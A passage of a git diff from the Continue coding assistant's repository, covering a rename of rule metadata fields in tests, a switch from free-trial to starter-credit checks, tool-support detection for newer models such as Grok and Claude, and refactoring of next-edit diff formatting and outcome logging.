@@ describe("Content pattern matching", () => { globs: "**/*.ts", regex: "class\\s+\\w+", source: "rules-block", - ruleFile: "src/models/rules.md", + sourceFile: "src/models/rules.md", }; const tsFilePath = "src/models/User.ts"; @@ -371,7 +371,7 @@ describe("Content pattern matching", () => { rule: "Use arrow functions for better this binding", regex: "const\\s+\\w+\\s*=\\s*\\(", source: "rules-block", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", }; // Message with code block containing a matching pattern @@ -433,7 +433,7 @@ describe("Content pattern matching", () => { rule: "This rule has an invalid regex pattern", regex: "([unclosed parenthesis", source: "rules-block", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", }; const filePath = "src/utils/helper.ts"; @@ -454,7 +454,7 @@ describe("Content pattern matching", () => { rule: "Apply only to model files with interfaces", regex: "interface\\s+\\w+", source: "rules-block", - ruleFile: "src/models/rules.md", + sourceFile: "src/models/rules.md", }; // File in the correct directory with matching content diff --git a/core/llm/rules/implicitGlobalRules.vitest.ts b/core/llm/rules/implicitGlobalRules.vitest.ts index 3d9d62004..baa13745f 100644 --- a/core/llm/rules/implicitGlobalRules.vitest.ts +++ b/core/llm/rules/implicitGlobalRules.vitest.ts @@ -8,7 +8,7 @@ describe("Implicit global rules application", () => { name: "Implicit Global Rule", rule: "This rule should be applied to all messages (implicit global)", source: "rules-block", - ruleFile: ".continue/global-rule.md", + sourceFile: ".continue/global-rule.md", // No alwaysApply specified // No globs specified }; @@ -19,7 +19,7 @@ describe("Implicit global rules application", () => { rule: "This rule should always be applied (explicit global)", alwaysApply: true, source: "rules-block", - ruleFile: ".continue/explicit-global.md", + sourceFile: ".continue/explicit-global.md", }; // Create a colocated rule in a nested directory @@ -27,7 +27,7 @@ describe("Implicit global rules application", () => { name: "Nested Directory Rule", rule: "This rule applies to files in the nested directory", source: "rules-block", - ruleFile: "nested-folder/rules.md", + sourceFile: "nested-folder/rules.md", }; it("should apply rules with no alwaysApply and no globs to all messages, even with no file references", () => { @@ -63,7 +63,7 @@ describe("Implicit global rules application", () => { name: "Root No Globs Rule", rule: "This is a root-level rule with no globs", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", // No alwaysApply, no globs }; @@ -119,7 +119,7 @@ describe("Implicit global rules application", () => { name: "Assistant Guidelines", rule: "SOLID Design Principles - Coding Assistant Guidelines", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", // No alwaysApply, no globs - should still apply }; diff --git a/core/llm/rules/nestedDirectoryRules.vitest.ts b/core/llm/rules/nestedDirectoryRules.vitest.ts index 7f55bc7c3..97f8f8238 100644 --- a/core/llm/rules/nestedDirectoryRules.vitest.ts +++ b/core/llm/rules/nestedDirectoryRules.vitest.ts @@ -13,7 +13,7 @@ describe("Nested directory rules application", () => { name: "Nested Folder Rule", rule: "HELLO WORLD THIS IS A RULE", source: "rules-block", - ruleFile: "manual-testing-sandbox/nested-folder/rules.md", + sourceFile: "manual-testing-sandbox/nested-folder/rules.md", // No globs specified }; @@ -22,7 +22,7 @@ describe("Nested directory rules application", () => { name: "Global Rule", rule: "SOLID Design Principles - Coding Agent Guidelines", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }; it("should apply nested directory rules to files in that directory", () => { @@ -103,7 +103,7 @@ describe("Nested directory rules application", () => { rule: "Follow Python best practices for src directory", globs: "**/*.py", // This should only match .py files in src/ and subdirectories source: "rules-block", - ruleFile: "src/rules.md", + sourceFile: "src/rules.md", }; // A rule in utils/ that targets *.py files @@ -112,7 +112,7 @@ describe("Nested directory rules application", () => { rule: "Follow Python best practices for utils directory", globs: "**/*.py", // This should only match .py files in utils/ and subdirectories source: "rules-block", - ruleFile: "utils/rules.md", + sourceFile: "utils/rules.md", }; // A file in src/ diff --git a/core/llm/rules/ruleColocation.vitest.ts b/core/llm/rules/ruleColocation.vitest.ts index 6bee635b0..644bfb957 100644 --- a/core/llm/rules/ruleColocation.vitest.ts +++ b/core/llm/rules/ruleColocation.vitest.ts @@ -10,7 +10,7 @@ describe("Rule colocation - glob pattern matching", () => { name: "General Rule", rule: "Follow coding standards", source: "colocated-markdown", - ruleFile: "src/rules.md", + sourceFile: "src/rules.md", }, // Redux-specific rule with specific directory/file type pattern @@ -19,7 +19,7 @@ describe("Rule colocation - glob pattern matching", () => { rule: "Use Redux Toolkit", globs: "src/redux/**/*.{ts,tsx}", source: "colocated-markdown", - ruleFile: "src/redux/rules.md", + sourceFile: "src/redux/rules.md", }, // Component-specific rule with array of globs @@ -28,7 +28,7 @@ describe("Rule colocation - glob pattern matching", () => { rule: "Use functional components", globs: ["src/components/**/*.tsx", "src/components/**/*.jsx"], source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }, // Rule with explicit alwaysApply: true @@ -38,7 +38,7 @@ describe("Rule colocation - glob pattern matching", () => { alwaysApply: true, globs: "src/specific/**/*.ts", // Should be ignored since alwaysApply is true source: "colocated-markdown", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }, // Rule with explicit alwaysApply: false @@ -48,7 +48,7 @@ describe("Rule colocation - glob pattern matching", () => { alwaysApply: false, // No globs, so should never apply source: "colocated-markdown", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }, // Rule with explicit alwaysApply: false but with globs @@ -58,7 +58,7 @@ describe("Rule colocation - glob pattern matching", () => { alwaysApply: false, globs: "src/utils/**/*.ts", source: "colocated-markdown", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", }, }; @@ -128,7 +128,7 @@ describe("Rule colocation - glob pattern matching", () => { // Fix: Specify the exact path prefix to restrict to this directory structure globs: "src/features/auth/utils/**/*.ts", source: "colocated-markdown", - ruleFile: "src/features/auth/utils/rules.md", + sourceFile: "src/features/auth/utils/rules.md", }; it("should apply nested rules to files in the same directory and subdirectories", () => { @@ -158,7 +158,7 @@ describe("Rule colocation - glob pattern matching", () => { // Testing with standard pattern instead globs: "src/**/[!.]*.ts", source: "colocated-markdown", - ruleFile: "src/rules.md", + sourceFile: "src/rules.md", }; it("should apply to matching files that are not excluded", () => { @@ -175,7 +175,7 @@ describe("Rule colocation - glob pattern matching", () => { globs: ["src/**/*.ts", "!src/**/*.test.ts", "!src/**/*.spec.ts"], alwaysApply: false, source: "colocated-markdown", - ruleFile: "src/rules.md", + sourceFile: "src/rules.md", }; // Using alwaysApply:false with a more specific test diff --git a/core/llm/rules/rules-utils.ts b/core/llm/rules/rules-utils.ts new file mode 100644 index 000000000..279cf55eb --- /dev/null +++ b/core/llm/rules/rules-utils.ts @@ -0,0 +1,46 @@ +import { RuleMetadata } from "../.."; +import { getLastNPathParts } from "../../util/uri"; + +export function getRuleDisplayName(rule: RuleMetadata): string { + if (rule.name) { + return rule.name; + } + return getRuleSourceDisplayName(rule); +} + +export function getRuleSourceDisplayName(rule: RuleMetadata): string { + switch (rule.source) { + case ".continuerules": + return "Project rules"; + case "default-chat": + return "Default chat system message"; + case "default-plan": + return "Default plan mode system message"; + case "default-agent": + return "Default agent system message"; + case "json-systemMessage": + return "System Message (JSON)"; + case "model-options-agent": + return "Base System Agent Message"; + case "model-options-plan": + return "Base System Plan Message"; + case "model-options-chat": + return "Base System Chat Message"; + case "agentFile": + if (rule.sourceFile) { + return getLastNPathParts(rule.sourceFile, 2); + } else { + return "Agent file"; + } + case "colocated-markdown": + if (rule.sourceFile) { + return getLastNPathParts(rule.sourceFile, 2); + } else { + return "rules.md"; + } + case "rules-block": + return "Rules Block"; + default: + return rule.source; + } +} diff --git a/core/llm/streamChat.ts b/core/llm/streamChat.ts index d1a0d4fe0..ec1f046c5 100644 --- a/core/llm/streamChat.ts +++ b/core/llm/streamChat.ts @@ -1,11 +1,12 @@ import { fetchwithRequestOptions } from "@continuedev/fetch"; import { ChatMessage, IDE, PromptLog } from ".."; import { ConfigHandler } from "../config/ConfigHandler"; -import { usesFreeTrialApiKey } from "../config/usesFreeTrialApiKey"; +import { usesCreditsBasedApiKey } from "../config/usesFreeTrialApiKey"; import { FromCoreProtocol, ToCoreProtocol } from "../protocol"; import { IMessenger, Message } from "../protocol/messenger"; import { Telemetry } from "../util/posthog"; import { TTS } from "../util/tts"; +import { isOutOfStarterCredits } from "./utils/starterCredits"; export async function* llmStreamChat( configHandler: ConfigHandler, @@ -59,13 +60,6 @@ export async function* llmStreamChat( if (!slashCommand) { throw new Error(`Unknown slash command ${command.name}`); } - void Telemetry.capture( - "useSlashCommand", - { - name: command.name, - }, - true, - ); if (!slashCommand.run) { console.error( `Slash command ${command.name} (${command.source}) has no run function`, @@ -151,7 +145,7 @@ export async function* llmStreamChat( true, ); - void checkForFreeTrialExceeded(configHandler, messenger); + void checkForOutOfStarterCredits(configHandler, messenger); if (!next.done) { throw new Error("Will never happen"); @@ -160,46 +154,24 @@ export async function* llmStreamChat( return next.value; } } catch (error) { - if ( - error instanceof Error && - error.message.toLowerCase().includes("premature close") - ) { - void Telemetry.capture( - "stream_premature_close_error", - { - model: model.model, - provider: model.providerName, - errorMessage: error.message, - context: legacySlashCommandData ? "slash_command" : "regular_chat", - ...(legacySlashCommandData && { - command: legacySlashCommandData.command.name, - }), - }, - false, - ); - } + // Moved error handling that was here to GUI, keeping try/catch for clean diff throw error; } } -async function checkForFreeTrialExceeded( +async function checkForOutOfStarterCredits( configHandler: ConfigHandler, messenger: IMessenger, ) { - const { config } = await configHandler.getSerializedConfig(); - - // Only check if the user is using the free trial - if (config && !usesFreeTrialApiKey(config)) { - return; - } - try { - const freeTrialStatus = - await configHandler.controlPlaneClient.getFreeTrialStatus(); + const { config } = await configHandler.getSerializedConfig(); + const creditStatus = + await configHandler.controlPlaneClient.getCreditStatus(); + if ( - freeTrialStatus && - freeTrialStatus.chatCount && - freeTrialStatus.chatCount > freeTrialStatus.chatLimit + config && + creditStatus && + isOutOfStarterCredits(usesCreditsBasedApiKey(config), creditStatus) ) { void messenger.request("freeTrialExceeded", undefined); } diff --git a/core/llm/templates/edit/gpt.ts b/core/llm/templates/edit/gpt.ts index bafad3f3b..02f1894e8 100644 --- a/core/llm/templates/edit/gpt.ts +++ b/core/llm/templates/edit/gpt.ts @@ -76,5 +76,5 @@ export const defaultApplyPrompt: PromptTemplateFunction = ( history, otherData, ) => { - return `${otherData.original_code}\n\nThe following code was suggested as an edit:\n\`\`\`\n${otherData.new_code}\n\`\`\`\nPlease apply it to the previous code.`; + return `${otherData.original_code}\n\nThe following code was suggested as an edit:\n\`\`\`\n${otherData.new_code}\n\`\`\`\nPlease apply it to the previous code. Do not change comments unless explicitly requested.`; }; diff --git a/core/llm/toolSupport.test.ts b/core/llm/toolSupport.test.ts index 71f70485f..ad883e4cb 100644 --- a/core/llm/toolSupport.test.ts +++ b/core/llm/toolSupport.test.ts @@ -41,7 +41,7 @@ describe("PROVIDER_TOOL_SUPPORT", () => { it("should return true for Gemini models", () => { expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-pro")).toBe(true); - expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-1.5-pro")).toBe( + expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-2.5-pro")).toBe( true, ); }); @@ -139,7 +139,6 @@ describe("PROVIDER_TOOL_SUPPORT", () => { it("should return true for all Gemini models", () => { expect(supportsFn("gemini-pro")).toBe(true); - expect(supportsFn("gemini-1.5-pro")).toBe(true); expect(supportsFn("gemini-ultra")).toBe(true); }); @@ -150,7 +149,7 @@ describe("PROVIDER_TOOL_SUPPORT", () => { it("should handle case insensitivity", () => { expect(supportsFn("GEMINI-pro")).toBe(true); - expect(supportsFn("Gemini-1.5-Pro")).toBe(true); + expect(supportsFn("Gemini-2.5-Pro")).toBe(true); }); }); @@ -280,6 +279,23 @@ describe("PROVIDER_TOOL_SUPPORT", () => { }); }); + describe("xAI", () => { + const supportsFn = PROVIDER_TOOL_SUPPORT["xAI"]; + + it("should return true for Grok-3 models", () => { + expect(supportsFn("grok-3")).toBe(true); + expect(supportsFn("grok-3-mini")).toBe(true); + expect(supportsFn("grok-3-fast")).toBe(true); + }); + + it("should return true for Grok-4 models", () => { + expect(supportsFn("grok-4")).toBe(true); + expect(supportsFn("grok-4-fast-non-reasoning")).toBe(true); + expect(supportsFn("grok-4-fast-reasoning")).toBe(true); + expect(supportsFn("Grok-4-Fast")).toBe(true); + }); + }); + describe("novita", () => { const supportsFn = PROVIDER_TOOL_SUPPORT["novita"]; diff --git a/core/llm/toolSupport.ts b/core/llm/toolSupport.ts index 35867336f..5e4f26241 100644 --- a/core/llm/toolSupport.ts +++ b/core/llm/toolSupport.ts @@ -29,6 +29,7 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = ].some((part) => model.toLowerCase().startsWith(part)); }, anthropic: (model) => { + const lower = model.toLowerCase(); if ( [ "claude-3-5", @@ -38,10 +39,13 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = "claude-sonnet-4", "claude-4-sonnet", "claude-opus-4", - ].some((part) => model.toLowerCase().startsWith(part)) + ].some((part) => lower.startsWith(part)) ) { return true; } + if (lower.includes("claude") && lower.includes("4-5")) { + return true; + } return false; }, @@ -110,6 +114,12 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = } return ["claude", "gemini"].some((val) => lowerCaseModel.includes(val)); }, + xAI: (model) => { + const lowerCaseModel = model.toLowerCase(); + return ["grok-3", "grok-4", "grok-code"].some((val) => + lowerCaseModel.includes(val), + ); + }, bedrock: (model) => { if ( [ @@ -185,6 +195,8 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = "llama3-groq", "granite3", "granite-3", + "granite4", + "granite-4", "aya-expanse", "firefunction-v2", "mistral", @@ -203,7 +215,9 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = if ( model.toLowerCase().startsWith("meta-llama-3") || model.toLowerCase().includes("llama-4") || - model.toLowerCase().includes("deepseek") + model.toLowerCase().includes("deepseek") || + model.toLowerCase().includes("gpt") || + model.toLowerCase().includes("qwen") ) { return true; } @@ -377,6 +391,8 @@ export function isRecommendedAgentModel(modelName: string): boolean { [/gpt-5/], [/claude/, /sonnet/, /3\.7|3-7|-4/], [/claude/, /opus/, /-4/], + [/grok-code/], + [/claude/, /4-5/], ]; for (const combo of recs) { if (combo.every((regex) => modelName.toLowerCase().match(regex))) { diff --git a/core/llm/utils/getSecureID.test.ts b/core/llm/utils/getSecureID.test.ts index a8d41a230..32404ce58 100644 --- a/core/llm/utils/getSecureID.test.ts +++ b/core/llm/utils/getSecureID.test.ts @@ -1,49 +1,47 @@ import { getSecureID } from "./getSecureID"; -// Mock the crypto.randomUUID function -const mockRandomUUID = jest.fn(); -global.crypto = { - ...global.crypto, - randomUUID: mockRandomUUID, -}; - describe("getSecureID", () => { beforeEach(() => { // Reset the static property before each test (getSecureID as any).uuid = undefined; - - // Reset the mock implementation - mockRandomUUID.mockReset(); - // Setup a mock implementation that returns a fixed value for testing - mockRandomUUID.mockReturnValue("test-uuid-1234"); }); test("should generate a UUID on first call", () => { const result = getSecureID(); - expect(mockRandomUUID).toHaveBeenCalledTimes(1); - expect(result).toBe(""); + + // Should return a properly formatted string with SID comment + expect(result).toMatch( + /^$/, + ); + + // Should have set the static uuid property + expect((getSecureID as any).uuid).toBeDefined(); + expect(typeof (getSecureID as any).uuid).toBe("string"); }); test("should reuse the same UUID on subsequent calls", () => { const firstResult = getSecureID(); const secondResult = getSecureID(); - // The UUID generation should only happen once - expect(mockRandomUUID).toHaveBeenCalledTimes(1); - // Both results should be identical expect(firstResult).toBe(secondResult); - expect(firstResult).toBe(""); + + // Should match UUID format + expect(firstResult).toMatch( + /^$/, + ); }); test("should maintain the same UUID across different test cases if not reset", () => { - // Don't reset the UUID here to test persistence + // Set a specific UUID to test persistence (getSecureID as any).uuid = "persistent-uuid"; const result = getSecureID(); - // No new UUID should be generated - expect(mockRandomUUID).not.toHaveBeenCalled(); + // Should use the pre-existing UUID expect(result).toBe(""); + + // The static property should remain unchanged + expect((getSecureID as any).uuid).toBe("persistent-uuid"); }); }); diff --git a/core/llm/utils/getSecureID.ts b/core/llm/utils/getSecureID.ts index b05fefab6..33a092603 100644 --- a/core/llm/utils/getSecureID.ts +++ b/core/llm/utils/getSecureID.ts @@ -1,8 +1,10 @@ +import { v4 as uuidv4 } from "uuid"; + // Utility function to get or generate UUID for LLM prompts export function getSecureID(): string { // Adding a type declaration for the static property if (!(getSecureID as any).uuid) { - (getSecureID as any).uuid = crypto.randomUUID(); + (getSecureID as any).uuid = uuidv4(); } return ``; } diff --git a/core/llm/utils/starterCredits.ts b/core/llm/utils/starterCredits.ts new file mode 100644 index 000000000..9f0d021d7 --- /dev/null +++ b/core/llm/utils/starterCredits.ts @@ -0,0 +1,12 @@ +import { CreditStatus } from "../../control-plane/client"; + +export function isOutOfStarterCredits( + usingModelsAddOnApiKey: boolean, + creditStatus: CreditStatus, +): boolean { + return ( + usingModelsAddOnApiKey && + !creditStatus.hasCredits && + !creditStatus.hasPurchasedCredits + ); +} diff --git a/core/nextEdit/NextEditLoggingService.ts b/core/nextEdit/NextEditLoggingService.ts index 4ed9ed4e9..e7886bdf0 100644 --- a/core/nextEdit/NextEditLoggingService.ts +++ b/core/nextEdit/NextEditLoggingService.ts @@ -1,5 +1,7 @@ import { COUNT_COMPLETION_REJECTED_AFTER } from "../util/parameters"; +import { fetchwithRequestOptions } from "@continuedev/fetch"; +import { getControlPlaneEnvSync } from "../control-plane/env"; import { DataLogger } from "../data/log"; import { Telemetry } from "../util/posthog"; import { NextEditOutcome } from "./types"; @@ -121,6 +123,7 @@ export class NextEditLoggingService { clearTimeout(this._logRejectionTimeouts.get(completionId)!); this._logRejectionTimeouts.delete(completionId); } + if (this._outcomes.has(completionId)) { this._outcomes.delete(completionId); } @@ -185,44 +188,15 @@ export class NextEditLoggingService { this._logRejectionTimeouts.delete(completionId); } - // If we have the full outcome, log it as aborted. + // Only log if the completion was displayed to the user. + // This aligns with Autocomplete behavior and prevents logging + // of cancelled requests that never reached the user. if (this._outcomes.has(completionId)) { const outcome = this._outcomes.get(completionId)!; - outcome.accepted = false; + // outcome.accepted = false; outcome.aborted = true; this.logNextEditOutcome(outcome); this._outcomes.delete(completionId); - } else { - // Log minimal abort event for requests that never got displayed. - const pendingData = this._pendingCompletions.get(completionId); - - const minimalAbortOutcome: Partial = { - completionId, - accepted: false, - aborted: true, - timestamp: Date.now(), - uniqueId: completionId, - elapsed: pendingData ? Date.now() - pendingData.startTime : 0, - modelName: pendingData?.modelName || "unknown", - modelProvider: pendingData?.modelProvider || "unknown", - fileUri: pendingData?.filepath || "unknown", - - // Empty/default values for fields we don't have. - completion: "", - prompt: "", - userEdits: "", - userExcerpts: "", - originalEditableRange: "", - workspaceDirUri: "", - cursorPosition: { line: -1, character: -1 }, - finalCursorPosition: { line: -1, character: -1 }, - editableRegionStartLine: -1, - editableRegionEndLine: -1, - diffLines: [], - completionOptions: {}, - }; - - this.logNextEditOutcome(minimalAbortOutcome as NextEditOutcome); } // Clean up. @@ -243,6 +217,39 @@ export class NextEditLoggingService { }); // const { prompt, completion, prefix, suffix, ...restOfOutcome } = outcome; + if (outcome.requestId && outcome.accepted !== undefined) { + void this.logAcceptReject(outcome.requestId, outcome.accepted); + } void Telemetry.capture("nextEditOutcome", outcome, true); } + + private async logAcceptReject( + requestId: string, + accepted: boolean, + ): Promise { + try { + if (!Telemetry.client) { + return; + } + + const controlPlaneEnv = getControlPlaneEnvSync("production"); + const resp = await fetchwithRequestOptions( + new URL("model-proxy/v1/feedback", controlPlaneEnv.CONTROL_PLANE_URL), + { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ + requestId, + accepted, + }), + }, + ); + const text = await resp.text(); + console.debug("Feedback: ", text); + } catch (error: any) { + console.debug(`Error capturing feedback: ${error.message}`); + } + } } diff --git a/core/nextEdit/NextEditPrefetchQueue.ts b/core/nextEdit/NextEditPrefetchQueue.ts index ad35db3b9..d6af3598d 100644 --- a/core/nextEdit/NextEditPrefetchQueue.ts +++ b/core/nextEdit/NextEditPrefetchQueue.ts @@ -140,7 +140,7 @@ export class PrefetchQueue { const count = Math.min(3, this.processedQueue.length); const firstThree = this.processedQueue.slice(0, count); firstThree.forEach((item, index) => { - console.log( + console.debug( `Item ${index + 1}: ${item.location.range.start.line} to ${item.location.range.end.line}`, ); }); diff --git a/core/nextEdit/NextEditProvider.ts b/core/nextEdit/NextEditProvider.ts index 4d9216914..1150f5545 100644 --- a/core/nextEdit/NextEditProvider.ts +++ b/core/nextEdit/NextEditProvider.ts @@ -8,6 +8,7 @@ import { ContextRetrievalService } from "../autocomplete/context/ContextRetrieva import { BracketMatchingService } from "../autocomplete/filtering/BracketMatchingService.js"; import { CompletionStreamer } from "../autocomplete/generation/CompletionStreamer.js"; +import { postprocessCompletion } from "../autocomplete/postprocessing/index.js"; import { shouldPrefilter } from "../autocomplete/prefiltering/index.js"; import { getAllSnippetsWithoutRace } from "../autocomplete/snippets/index.js"; import { AutocompleteCodeSnippet } from "../autocomplete/snippets/types.js"; @@ -415,6 +416,7 @@ export class NextEditProvider { filePath: helper.filepath, diffType: DiffFormatType.Unified, contextLines: 3, + workspaceDir: workspaceDirs[0], // Use first workspace directory }), }; @@ -468,33 +470,53 @@ export class NextEditProvider { } // Extract completion using model-specific logic. - const nextCompletion = this.modelProvider.extractCompletion(msg.content); + let nextCompletion = this.modelProvider.extractCompletion(msg.content); + + // Postprocess the completion (same as autocomplete). + const postprocessed = postprocessCompletion({ + completion: nextCompletion, + llm, + prefix: helper.prunedPrefix, + suffix: helper.prunedSuffix, + }); + + // Return early if postprocessing filtered out the completion. + if (!postprocessed) { + return undefined; + } + + nextCompletion = postprocessed; let outcome: NextEditOutcome | undefined; // Handle based on diff type. + const profileType = + this.configHandler.currentProfile?.profileDescription.profileType; + if (opts?.usingFullFileDiff === false || !opts?.usingFullFileDiff) { - outcome = await this.modelProvider.handlePartialFileDiff( + outcome = await this.modelProvider.handlePartialFileDiff({ helper, editableRegionStartLine, editableRegionEndLine, startTime, llm, nextCompletion, - this.promptMetadata!, - this.ide, - ); + promptMetadata: this.promptMetadata!, + ide: this.ide, + profileType, + }); } else { - outcome = await this.modelProvider.handleFullFileDiff( + outcome = await this.modelProvider.handleFullFileDiff({ helper, editableRegionStartLine, editableRegionEndLine, startTime, llm, nextCompletion, - this.promptMetadata!, - this.ide, - ); + promptMetadata: this.promptMetadata!, + ide: this.ide, + profileType, + }); } if (outcome) { diff --git a/core/nextEdit/context/diffFormatting.ts b/core/nextEdit/context/diffFormatting.ts index 38a76b051..773b05805 100644 --- a/core/nextEdit/context/diffFormatting.ts +++ b/core/nextEdit/context/diffFormatting.ts @@ -1,4 +1,5 @@ import { createPatch } from "diff"; +import { getUriPathBasename } from "../../util/uri"; export enum DiffFormatType { Unified = "unified", @@ -18,6 +19,7 @@ export interface CreateDiffArgs { filePath: string; diffType: DiffFormatType; contextLines: number; + workspaceDir?: string; } export const createDiff = ({ @@ -26,6 +28,7 @@ export const createDiff = ({ filePath, diffType, contextLines, + workspaceDir, }: CreateDiffArgs) => { switch (diffType) { case DiffFormatType.Unified: @@ -34,6 +37,7 @@ export const createDiff = ({ afterContent, filePath, contextLines, + workspaceDir, ); case DiffFormatType.TokenLineDiff: return createTokenLineDiff(beforeContent, afterContent, filePath); @@ -46,6 +50,7 @@ const createUnifiedDiff = ( afterContent: string, filePath: string, contextLines: number, + workspaceDir?: string, ) => { const normalizedBefore = beforeContent.endsWith("\n") ? beforeContent @@ -54,12 +59,21 @@ const createUnifiedDiff = ( ? afterContent : afterContent + "\n"; + // Use relative path if workspace directory is provided + let displayPath = filePath; + if (workspaceDir && filePath.startsWith(workspaceDir)) { + displayPath = filePath.slice(workspaceDir.length).replace(/^[\/]/, ""); + } else if (workspaceDir) { + // Fallback to just the basename if we can't determine relative path + displayPath = getUriPathBasename(filePath); + } + const patch = createPatch( - filePath, + displayPath, normalizedBefore, normalizedAfter, - "before", - "after", + undefined, + undefined, { context: contextLines }, ); diff --git a/core/nextEdit/context/diffFormatting.vitest.ts b/core/nextEdit/context/diffFormatting.vitest.ts index b010f7837..889059037 100644 --- a/core/nextEdit/context/diffFormatting.vitest.ts +++ b/core/nextEdit/context/diffFormatting.vitest.ts @@ -127,6 +127,72 @@ describe("diffFormatting", () => { expect(result).toContain("@@ -4,5 +4,5 @@"); }); + + it("should use relative path when workspaceDir is provided", () => { + const args: CreateDiffArgs = { + beforeContent, + afterContent, + filePath: "file:///workspace/project/src/test.js", + diffType: DiffFormatType.Unified, + contextLines: 3, + workspaceDir: "file:///workspace/project", + }; + + const result = createDiff(args); + + expect(result).toContain("--- src/test.js"); + expect(result).toContain("+++ src/test.js"); + expect(result).not.toContain("file://"); + expect(result).not.toContain("/workspace/project"); + }); + + it("should handle workspaceDir with trailing slash", () => { + const args: CreateDiffArgs = { + beforeContent, + afterContent, + filePath: "file:///workspace/project/src/test.js", + diffType: DiffFormatType.Unified, + contextLines: 3, + workspaceDir: "file:///workspace/project/", + }; + + const result = createDiff(args); + + expect(result).toContain("--- src/test.js"); + expect(result).toContain("+++ src/test.js"); + }); + + it("should fallback to basename when path not in workspace", () => { + const args: CreateDiffArgs = { + beforeContent, + afterContent, + filePath: "file:///other/location/test.js", + diffType: DiffFormatType.Unified, + contextLines: 3, + workspaceDir: "file:///workspace/project", + }; + + const result = createDiff(args); + + expect(result).toContain("--- test.js"); + expect(result).toContain("+++ test.js"); + }); + + it("should use full path when no workspaceDir provided", () => { + const fullPath = "file:///workspace/project/src/test.js"; + const args: CreateDiffArgs = { + beforeContent, + afterContent, + filePath: fullPath, + diffType: DiffFormatType.Unified, + contextLines: 3, + }; + + const result = createDiff(args); + + expect(result).toContain(`--- ${fullPath}`); + expect(result).toContain(`+++ ${fullPath}`); + }); }); describe("createBeforeAfterDiff", () => { diff --git a/core/nextEdit/context/processNextEditData.ts b/core/nextEdit/context/processNextEditData.ts index 2aa4adb79..8b6e41a82 100644 --- a/core/nextEdit/context/processNextEditData.ts +++ b/core/nextEdit/context/processNextEditData.ts @@ -140,6 +140,7 @@ export const processNextEditData = async ({ filePath: filePath, diffType: DiffFormatType.Unified, contextLines: 25, // storing many context lines for downstream trimming + workspaceDir: workspaceDir, }), fileUri: filePath, workspaceUri: workspaceDir, diff --git a/core/nextEdit/context/processSmallEdit.ts b/core/nextEdit/context/processSmallEdit.ts index a98233cfe..c2fc85786 100644 --- a/core/nextEdit/context/processSmallEdit.ts +++ b/core/nextEdit/context/processSmallEdit.ts @@ -14,16 +14,6 @@ export const processSmallEdit = async ( getDefsFromLspFunction: GetLspDefinitionsFunction, ide: IDE, ) => { - NextEditProvider.getInstance().addDiffToContext( - createDiff({ - beforeContent: beforeAfterdiff.beforeContent, - afterContent: beforeAfterdiff.afterContent, - filePath: beforeAfterdiff.filePath, - diffType: DiffFormatType.Unified, - contextLines: 5, // NOTE: This can change depending on experiments! - }), - ); - // Get the current context data from the most recent message const currentData = (EditAggregator.getInstance() as any) .latestContextData || { @@ -33,6 +23,17 @@ export const processSmallEdit = async ( recentlyVisitedRanges: [], }; + NextEditProvider.getInstance().addDiffToContext( + createDiff({ + beforeContent: beforeAfterdiff.beforeContent, + afterContent: beforeAfterdiff.afterContent, + filePath: beforeAfterdiff.filePath, + diffType: DiffFormatType.Unified, + contextLines: 3, // NOTE: This can change depending on experiments! + workspaceDir: currentData.workspaceDir, + }), + ); + void processNextEditData({ filePath: beforeAfterdiff.filePath, beforeContent: beforeAfterdiff.beforeContent, diff --git a/core/nextEdit/providers/BaseNextEditProvider.ts b/core/nextEdit/providers/BaseNextEditProvider.ts index 2a0bea8ed..0c8fa2f62 100644 --- a/core/nextEdit/providers/BaseNextEditProvider.ts +++ b/core/nextEdit/providers/BaseNextEditProvider.ts @@ -47,16 +47,28 @@ export abstract class BaseNextEditModelProvider { }; // Methods that can be used as default fallback. - public async handlePartialFileDiff( - helper: HelperVars, - editableRegionStartLine: number, - editableRegionEndLine: number, - startTime: number, - llm: ILLM, - nextCompletion: string, - promptMetadata: PromptMetadata, - ide: IDE, - ): Promise { + public async handlePartialFileDiff(params: { + helper: HelperVars; + editableRegionStartLine: number; + editableRegionEndLine: number; + startTime: number; + llm: ILLM; + nextCompletion: string; + promptMetadata: PromptMetadata; + ide: IDE; + profileType?: "local" | "platform" | "control-plane"; + }): Promise { + const { + helper, + editableRegionStartLine, + editableRegionEndLine, + startTime, + llm, + nextCompletion, + promptMetadata, + ide, + profileType, + } = params; const oldEditRangeSlice = helper.fileContents .split("\n") .slice(editableRegionStartLine, editableRegionEndLine + 1) @@ -83,21 +95,34 @@ export abstract class BaseNextEditModelProvider { originalEditableRange: oldEditRangeSlice, diffLines: [], ide, + profileType, }); return outcome; } - public async handleFullFileDiff( - helper: HelperVars, - editableRegionStartLine: number, - editableRegionEndLine: number, - startTime: number, - llm: ILLM, - nextCompletion: string, - promptMetadata: PromptMetadata, - ide: IDE, - ): Promise { + public async handleFullFileDiff(params: { + helper: HelperVars; + editableRegionStartLine: number; + editableRegionEndLine: number; + startTime: number; + llm: ILLM; + nextCompletion: string; + promptMetadata: PromptMetadata; + ide: IDE; + profileType?: "local" | "platform" | "control-plane"; + }): Promise { + const { + helper, + editableRegionStartLine, + editableRegionEndLine, + startTime, + llm, + nextCompletion, + promptMetadata, + ide, + profileType, + } = params; const fileSlice = helper.fileLines .slice(editableRegionStartLine, editableRegionEndLine + 1) .join("\n"); @@ -111,7 +136,7 @@ export abstract class BaseNextEditModelProvider { const currentLine = helper.pos.line; const prefetchQueue = PrefetchQueue.getInstance(); - const cursorLocalDiffGroup = await 